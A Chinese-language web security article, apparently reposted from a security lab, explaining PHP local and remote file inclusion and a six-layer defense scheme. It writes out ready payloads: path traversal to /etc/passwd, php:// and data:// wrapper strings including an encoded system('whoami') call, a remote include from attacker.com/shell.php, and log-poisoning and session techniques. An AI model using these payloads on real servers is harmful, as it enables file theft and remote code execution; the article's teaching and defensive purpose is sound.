文章总结: 本文深入解析了文件包含漏洞的原理、攻击手法与防御体系。它首先介绍了该漏洞的本质是服务端对文件包含函数的参数未进行合法性校验,导致攻击者可通过路径遍历、php://伪协议、data://协议等多种方式发起攻击,从读取敏感文件升级为远程代码执行(RCE)。文章还剖析了CVE-2026-3826等真实案例,并提出了从代码层白名单、配置层PHP加固、架构层WAF规则、应用层上传隔离、运维层日志监控到安全意识培训的六层纵深防御策略。 综合评分: 95 文章分类: WEB安全,漏洞分析,渗透测试,红队,代码审计
,导致服务器沦陷、数据泄露、横向渗透。</p>
<p>LFI攻击流程</p>
<p><img decoding=)
LFI攻击流程:用户请求→路径遍历→包含敏感文件→信息泄露
文件包含漏洞原理
文件包含漏洞的本质是”服务端未对文件包含函数的参数进行合法性校验”,攻击者通过控制包含的文件路径,诱导服务器加载并执行恶意文件。
一句话概括:服务端未对文件包含函数的参数(如?file=xxx)进行合法性校验,攻击者通过注入恶意路径(如/etc/passwd或远程URL)实现本地/远程文件包含(LFI/RFI)。
核心条件:存在文件包含功能;用户能控制包含路径;未进行严格过滤;危险函数调用。
漏洞根源:仅检查文件扩展名或MIME类型,未检查文件内容;未使用白名单机制;未设置open_basedir限制。
LFI vs RFI
本地文件包含(LFI)
包含服务器本地文件,无需特殊配置即可利用
- 攻击示例:?file=../../etc/passwd
- 危害:读取敏感文件、源码泄露、配置泄露
- 可升级为RCE:日志投毒、Session包含、配合文件上传
远程文件包含(RFI)
通过URL包含远程服务器上的文件,需要特殊配置
- 利用条件:allow_url_include=On + allow_url_fopen=On
- 攻击示例:?file=http://attacker.com/shell.php
- 危害:远程代码执行、写入Webshell、服务器沦陷
PHP伪协议利用
PHP伪协议:php://filter读取源码、php://input执行代码、data://直接执行
7种LFI攻击手法
- 路径遍历读取敏感文件
使用../或..\穿越目录,访问非预期文件
- Linux:?file=../../etc/passwd
- Windows:?file=..\..\..\windows\win.ini
- 绕过技巧:URL编码(%2f)、双写(..\/./..\/)、特殊字符截断(%00)
- php://filter读取PHP源码
将PHP文件Base64编码后输出,避免代码执行
- 攻击示例:?file=php://filter/read=convert.base64-encode/resource=config.php
- 用途:读取配置文件、源码审计、查找其他漏洞
- php://input执行POST代码
直接执行POST请求体中的PHP代码
- 攻击步骤:访问?file=php://input → POST发送PHP代码 → 执行
- 条件:allow_url_include=On
- 用途:写入Webshell、执行系统命令
- data://直接执行代码
执行Base64编码的PHP代码
- 攻击示例:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTsgPz4=
- 条件:allow_url_fopen=On + allow_url_include=On
- 优势:无需上传文件、无需访问日志
- 日志投毒(LFI to RCE)
向服务器日志注入PHP代码,然后包含日志文件
- 攻击步骤:注入代码到日志 → 包含日志文件 → 执行代码
- 目标文件:/var/log/apache2/access.log、/var/log/nginx/error.log
- 绕过技巧:注入到User-Agent、Referer、Cookie等字段
- Session利用
向Session写入PHP代码,然后包含Session文件
- 攻击步骤:控制Session内容 → 获取Session ID → 包含Session文件
- 目标文件:/tmp/sess_xxx、/var/lib/php/sessions/sess_xxx
- 场景:用户输入直接存入Session、配置参数存入Session
- 配合文件上传(LFI to RCE)
上传图片马,通过LFI包含执行
- 攻击步骤:制作图片马 → 上传到服务器 → 通过LFI包含 → 执行代码
- 绕过技巧:.user.ini配置、Apache多后缀解析、IIS分号绕过
文件包含漏洞防御体系
6层防御体系:代码层、配置层、架构层、应用层、运维层、安全意识层
防御措施详解
代码层:白名单机制
使用白名单限制可包含的文件,过滤特殊字符
- 使用白名单而非黑名单
- 过滤../、..\、php://、data://等危险字符
- 采用静态包含代替动态包含
配置层:PHP加固
禁用危险配置,限制文件访问
- allow_url_include=Off(禁用远程文件包含)
- open_basedir=限制路径(限制文件访问范围)
- disable_functions=system,exec等(禁用危险函数)
架构层:WAF规则
部署WAF,拦截恶意请求
- 检测路径遍历字符(../、..\)
- 检测伪协议(php://、data://)
- 检测敏感文件路径(/etc/passwd等)
应用层:上传隔离
隔离上传文件,禁止包含执行
- 上传目录禁止执行权限
- 文件重命名(使用UUID或时间戳)
- 文件存储在独立域名或CDN
运维层:日志监控
监控异常访问,及时响应
- 监控路径遍历攻击
- 监控伪协议利用
- 设置告警规则
安全意识层:培训
提升开发人员安全意识
- 代码审计培训
- 安全编码规范
- 定期漏洞扫描
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:HZ安全实验室 hzsec hzsec《从告警到处置:文件包含攻击流量识别与阻断》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论